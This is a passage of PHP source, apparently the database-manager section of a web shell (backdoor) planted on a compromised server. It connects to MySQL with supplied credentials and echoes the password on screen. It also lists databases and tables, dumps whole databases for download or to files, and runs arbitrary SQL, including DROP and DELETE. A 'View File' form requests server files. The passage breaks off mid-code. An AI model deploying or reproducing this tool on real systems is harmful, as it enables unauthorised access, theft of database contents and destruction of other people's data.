  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  echo "</center>";
 }
 echo "</td></tr><tr>";
 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 else
 {
  //Start left panel
  if (!empty($sql_db))
  {
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_tables($sql_db);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
    $c = 0;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
    if (!$c) {echo "No tables found in database.";}
   }
  }
  else
  {
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_dbs($sql_sock);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
    $c = 0;
    $dbs = "";
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
    echo "<option value=\"\">Databases (".$c.")</option>";
    echo $dbs;
   }
   ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  }
  //End left panel
  echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  //Start center panel
  $diplay = true;
  if ($sql_db)
  {
   if (!is_numeric($c)) {$c = 0;}
   if ($c == 0) {$c = "no";}
   echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
   echo "</b></center>";
   $acts = array("","dump");
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";}
   elseif ($sql_tbl_act == "insert")
   {
    if ($sql_tbl_insert_radio == 1)
    {
     $keys = "";
     $akeys = array_keys($sql_tbl_insert);
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
     $values = "";
     $i = 0;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
    elseif ($sql_tbl_insert_radio == 2)
    {
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
     $result = mysql_query($sql_query) or print(mysql_smarterror());
     $result = mysql_fetch_array($result, MYSQL_ASSOC);
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
   }
   if ($sql_act == "query")
   {
    echo "<hr size=\"1\" noshade>";
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
   }
   if (in_array($sql_act,$acts))
   {
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
    if ($sql_act == "newtbl")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
    }
    else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
   }
   elseif ($sql_act == "dump")
   {
    if (empty($submit))
    {
     $diplay = false;
     echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
     $v = join (";",$dmptbls);
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
     if ($dump_file) {$tmp = $dump_file;}
     else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
     echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
     echo "</form>";
    }
    else
    {
     $diplay = true;
     $set = array();
     $set["sock"] = $sql_sock;
     $set["db"] = $sql_db;
     $dump_out = "download";
     $set["print"] = 0;
     $set["nl2br"] = 0;
     $set[""] = 0;
     $set["file"] = $dump_file;
     $set["add_drop"] = true;
     $set["onlytabs"] = array();
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
     $ret = mysql_dump($set);
     if ($sql_dump_download)
     {
      @ob_clean();
      header("Content-type: application/octet-stream");
      header("Content-length: ".strlen($ret));
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); 
      echo $ret;
      exit;
     }
     elseif ($sql_dump_savetofile)
     {
      $fp = fopen($sql_dump_file,"w");
      if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
      else
      {
       fwrite($fp,$ret);
       fclose($fp);
       echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
      }
     }
     else {echo "<b>Dump: nothing to do!</b>";}
    }
   }
   if ($diplay)
   {
    if (!empty($sql_tbl))
    {
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
     $count_row = mysql_fetch_array($count);
     mysql_free_result($count);     
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
     $tbl_struct_fields = array();
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}     
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
     $perpage = $sql_tbl_le - $sql_tbl_ls;
     if (!is_numeric($perpage)) {$perpage = 10;}
     $numpages = $count_row[0]/$perpage; 
     $e = explode(" ",$sql_order);
     if (count($e) == 2)
     {
      if ($e[0] == "d") {$asc_desc = "DESC";}
      else {$asc_desc = "ASC";}
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
     }
     else {$v = "";}
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
     $result = mysql_query($query) or print(mysql_smarterror());
     echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
     if ($sql_tbl_act == "insert")
     {
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
      if (!empty($sql_tbl_insert_radio))
      {

      }
      else
      {
       echo "<br><br><b>Inserting row into table:</b><br>";
       if (!empty($sql_tbl_insert_q))
       {
        $sql_query = "SELECT * FROM `".$sql_tbl."`";
        $sql_query .= " WHERE".$sql_tbl_insert_q;
        $sql_query .= " LIMIT 1;";
        $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
        $values = mysql_fetch_assoc($result);
        mysql_free_result($result);
       }
       else {$values = array();}
       echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
       foreach ($tbl_struct_fields as $field)
       {
        $name = $field["Field"];
        if (empty($sql_tbl_insert_q)) {$v = "";}
        echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
        $i++;
       }
       echo "</table><br>";
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
       echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
      }
     }
     if ($sql_tbl_act == "browse")
     {
      $sql_tbl_ls = abs($sql_tbl_ls);
      $sql_tbl_le = abs($sql_tbl_le);
      echo "<hr size=\"1\" noshade>";
      echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
      $b = 0;
      for($i=0;$i<$numpages;$i++)
      {
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
       echo $i;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
       else {echo "&nbsp;";}
      }
      if ($i == 0) {echo "empty";}
      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
      echo "<tr>";
      echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
      for ($i=0;$i<mysql_num_fields($result);$i++)
      {
       $v = mysql_field_name($result,$i);
       if ($e[0] == "a") {$s = "d"; $m = "asc";}
       else {$s = "a"; $m = "desc";}
       echo "<td>";
       if (empty($e[0])) {$e[0] = "a";}
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
       echo "</td>";
      }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else
    {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>�</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else
  {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act))
   {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus")
    {
     $result = mysql_query("SHOW STATUS", $sql_sock); 
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars")
    {
     $result = mysql_query("SHOW VARIABLES", $sql_sock); 
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
